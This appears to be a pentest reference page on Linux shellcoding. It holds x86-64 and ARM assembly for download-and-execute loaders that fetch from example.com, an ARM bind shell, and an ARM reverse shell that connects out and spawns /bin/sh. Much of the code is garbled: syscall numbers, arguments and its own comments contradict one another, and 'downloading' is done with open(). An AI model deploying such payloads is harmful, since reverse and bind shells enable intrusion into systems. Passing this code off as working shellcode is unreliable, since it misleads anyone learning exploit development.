Shell-Codes/Payloads Build Your Own (Linux Shellcoding)

Why it matters in practice

Within Exploit Development, Shell-Codes/Payloads Build Your Own (Linux Shellcoding) changes how scope, prerequisites and evidence should be handled. Focus on the concrete asset or data flow under test, record the assumptions that make the condition exploitable and connect verified behavior to an operational consequence and remediation decision.

This note keeps Shell-Codes/Payloads Build Your Own (Linux Shellcoding) tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The coverage below turns Shell-Codes/Payloads Build Your Own (Linux Shellcoding) into an assessment map for Exploit Development: identify the relevant system boundary, select a safe validation path, preserve evidence and record uncertainty before drawing a conclusion.

• Shellcoding theory
• Generating shellcode with metasploit
• Building shellcode with assembly
• Shellcode assembler
• Compiler script
• Hex converter
• Building shellcode in c
• C shellcode
• Syscall table
• Exit shellcode in assembly

Assessment focus

section .text
global _start

_start:
; URL of the file to download
mov rdi, url
; Path where the file should be stored
mov rsi, target_path
; download the file
xor rdx, rdx  ; null-terminated string
mov rax, 2  ; system call number for open
syscall

; Create or open file
mov rdi, rax  ; file descriptor
mov rdx, 4096  ; buffer size
mov rsi, buffer
xor rax, rax  ; read file
syscall

; prepare a memory region for shellcode
mov rdi, rsp  ; pointer to the stack
sub rdi, 4096  ; move by 4096 bytes
mov rsi, buffer
mov rdx, rax  ; length of the shellcode that was read
mov rax, 9  ; system call number for mmap
xor r10, r10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
xor r8, r8  ; file descriptor (ignored)
xor r9, r9  ; offset in file (ignored)
syscall

; copy shellcode into memory
mov rdi, rax  ; destination address
mov rsi, buffer
mov rdx, rax  ; length of the shellcode
xor rax, rax  ; read file
syscall

; execute shellcode
mov rdi, rax  ; shellcode address
xor rax, rax  ; exit code 0
call rdi

; exit the program
xor edi, edi  ; exit code 0
mov rax, 60  ; system call number for exit
syscall

section .data
url db "ftp://example.com/your_file.txt", 0
target_path db "/path/to/your_file.txt", 0
buffer times 4096 db 0

section .text
global _start

_start:
; URL of the file to download
mov rdi, url
; Path where the file should be stored
mov rsi, target_path
; download the file
xor rdx, rdx  ; null-terminated string
mov rax, 2  ; system call number for open
syscall

; Create or open file
mov rdi, rax  ; file descriptor
mov rdx, 4096  ; buffer size
mov rsi, buffer
xor rax, rax  ; read file
syscall

; save file
xor rdi, rdi  ; file descriptor 0 (standard output)
mov rdx, rax  ; number of bytes read
mov rsi, buffer
mov rax, 1  ; system call number for write
syscall

; exit the program
xor edi, edi  ; exit code 0
mov rax, 60  ; system call number for exit
syscall

section .data
url db "https://example.com/your_file.txt", 0
target_path db "/path/to/your_file.txt", 0
buffer times 4096 db 0

.section .text
.global _start

_start:
    // create socket
    mov r7, #2         // socketcall syscall number
    mov r0, #1         // AF_INET = 2
    mov r1, #1         // SOCK_STREAM = 1
    eor r2, r2, r2     // protocol options = 0
    mov r8, r2         // copy of r2 for later use
    mov r2, #41        // socketcall subfunction: socket = 41
    swi #0             // execute syscall

    // bind the socket
    mov r7, #2         // socketcall syscall number
    mov r0, r0         // socket file descriptor
    ldr r1, =0x02000000 // IP address = 0.0.0.0 (INADDR_ANY)
    ldrh r2, =0x8818   // port number = 8888 (0x22B8)
    mov r3, #16        // address length = 16
    mov r8, r3         // copy of r3 for later use
    mov r3, #2         // socketcall subfunction: bind = 2
    swi #0             // execute syscall

    // put the socket into listening mode
    mov r7, #2         // socketcall syscall number
    mov r0, r0         // socket file descriptor
    mov r1, r8         // address length
    mov r8, r1         // copy of r1 for later use
    mov r1, #4         // socketcall subfunction: listen = 4
    swi #0             // execute syscall

    // accept the incoming connection
    mov r7, #2         // socketcall syscall number
    mov r0, r0         // socket file descriptor
    ldr r1, =0x00ffff02 // pointer to a 4-byte buffer for the client IP
    ldr r2, =0x22     // pointer to a 4-byte buffer for the client port number
    mov r3, r8         // copy of address length for later use
    mov r8, r3         // copy of r3 for later use
    mov r3, #5         // socketcall subfunction: accept = 5
    swi #0             // execute syscall

    // duplicate file descriptors for communication
    mov r7, #63        // dup2 syscall number
    mov r0, r0         // original file descriptor (Socket)
    mov r1, #0         // target file descriptor (standard input)
    swi #0             // execute syscall

    mov r0, r0         // original file descriptor (Socket)
    mov r1, #1         // target file descriptor (standard output)
    swi #0             // execute syscall

    mov r0, r0         // original file descriptor (Socket)
    mov r1, #2         // target file descriptor (standard error)
    swi #0             // execute syscall

    // execute a shell
    ldr r7, =0x6e69622f // load "/bin/sh" in ASCII
    strb r7, [r0, #7]  // insert null terminator
    mov r7, #11        // execve syscall number
    mov r0, r0         // filename ("/bin/sh")
    eor r1, r1, r1     // argv = NULL
    eor r2, r2, r2     // environment variable = NULL
    swi #0             // execute syscall

    // exit the program
    mov r7, #1         // exit syscall number
    eor r0, r0, r0     // exit code = 0
    swi #0             // execute syscall

.section .text
.global _start

_start:
    // create socket
    mov r7, #2         // socketcall syscall number
    mov r0, #2         // AF_INET = 2
    mov r1, #1         // SOCK_STREAM = 1
    eor r2, r2, r2     // protocol options = 0
    mov r8, r2         // copy of r2 for later use
    mov r2, #41        // socketcall subfunction: socket = 41
    swi #0             // execute syscall
    mov r4, r0         // store the socket file descriptor

    // connect to remote host
    mov r7, #2         // socketcall syscall number
    mov r0, r4         // socket file descriptor
    ldr r1, =0x0101017f // IP address = 127.1.1.1 (adjust as required)
    ldrh r2, =0xbb80   // port number = 48000 (adjust as required)
    mov r3, #16        // address length = 16
    mov r8, r3         // copy of r3 for later use
    mov r3, #3         // socketcall subfunction: connect = 3
    swi #0             // execute syscall

    // duplicate file descriptors for communication
    mov r7, #63        // dup2 syscall number
    mov r0, r4         // original file descriptor (Socket)
    mov r1, #0         // target file descriptor (standard input)
    swi #0             // execute syscall

    mov r0, r4         // original file descriptor (Socket)
    mov r1, #1         // target file descriptor (standard output)
    swi #0             // execute syscall

    mov r0, r4         // original file descriptor (Socket)
    mov r1, #2         // target file descriptor (standard error)
    swi #0             // execute syscall

    // execute a shell
    ldr r7, =0x6e69622f // load "/bin/sh" in ASCII
    strb r7, [r0, #7]  // insert null terminator
    mov r7, #11        // execve syscall number
    mov r0, r0         // filename ("/bin/sh")
    eor r1, r1, r1     // argv = NULL
    eor r2, r2, r2     // environment variable = NULL
    swi #0             // execute syscall

    // exit the program
    mov r7, #1         // exit syscall number
    eor r0, r0, r0     // exit code = 0
    swi #0             // execute syscall

.section .text
.global _start

_start:
@ URL of the file to download
ldr r0, =url
@ Path where the file should be stored
ldr r1, =target_path
@ download the file
mov r2, #0  @ null-terminated string
mov r7, #5  @ system call number for open
svc 0

@ Create or open file
mov r1, r0  @ file descriptor
mov r2, #4096  @ buffer size
ldr r0, =buffer
mov r7, #0  @ read file
svc 0

@ prepare a memory region for shellcode
mov r1, sp  @ pointer to the stack
sub r1, #4096  @ move by 4096 bytes
ldr r2, =buffer
mov r3, r0  @ length of the shellcode that was read
mov r0, #192  @ system call number for mmap
mov r7, #0  @ Flags (MAP_PRIVATE | MAP_ANONYMOUS)
mov r8, #0  @ file descriptor (ignored)
mov r9, #0  @ offset in file (ignored)
svc 0

@ copy shellcode into memory
mov r1, r0  @ destination address
ldr r2, =buffer
mov r3, r0  @ length of the shellcode
mov r0, #0  @ read file
svc 0

@ execute shellcode
mov r0, r1  @ shellcode address
mov r7, #0  @ exit code 0
blx r0

@ exit the program
mov r0, #0  @ exit code 0
mov r7, #1  @ system call number for exit
svc 0

.section .data
url: .asciz "ftp://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .space 4096, 0

.section .text
.global _start

_start:
    @ URL of the file to download
    ldr r0, =url
    @ Path where the file should be stored
    ldr r1, =target_path

    @ download the file
    mov r2, #0  @ null-terminated string
    mov r7, #5  @ system call number for open
    swi 0

    @ Create or open file
    mov r1, r0  @ file descriptor
    mov r2, #4096  @ buffer size
    ldr r0, =buffer
    mov r7, #0  @ read file
    swi 0

    @ save file
    mov r0, #1  @ file descriptor 1 (standard output)
    mov r2, r1  @ number of bytes read
    ldr r1, =buffer
    mov r7, #1  @ system call number for write
    swi 0

    @ exit the program
    mov r0, #0  @ exit code 0
    mov r7, #1  @ system call number for exit
    swi 0

.section .data
url: .asciz "https://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .space 4096, 0

section .text
global _start

_start:
    ; open file
    mov eax, 5  ; system call number for open
    mov ebx, path_to_file
    xor ecx, ecx  ; Flags (O_RDONLY)
    xor edx, edx  ; access permissions (ignored)
    int 0x80

    ; store file descriptor in EBX
    mov ebx, eax

    ; contents of the file buffer
    mov eax, 3  ; system call number for read
    mov ecx, ebx  ; file descriptor
    mov edx, buffer
    mov esi, 4096  ; maximum length of content to read
    int 0x80

    ; write the contents to standard output
    mov eax, 4  ; system call number for write
    xor ebx, ebx  ; file descriptor 1 (standard output)
    mov ecx, buffer
    mov edx, eax  ; number of bytes read
    int 0x80

    ; exit the program
    xor ebx, ebx  ; exit code 0
    mov eax, 1  ; system call number for exit
    int 0x80

section .data
path_to_file db "/path/to/file.txt", 0
buffer times 4096 db 0

Selected public references

• pwntools Documentationdocs.pwntools.com/en/stable/
• gef-legacy.readthedocs.io · Latestgef-legacy.readthedocs.io/en/latest/
• pwndbgpwndbg.re/
• Shell-Stormshell-storm.org/
• Exploit Databaseexploit-db.com/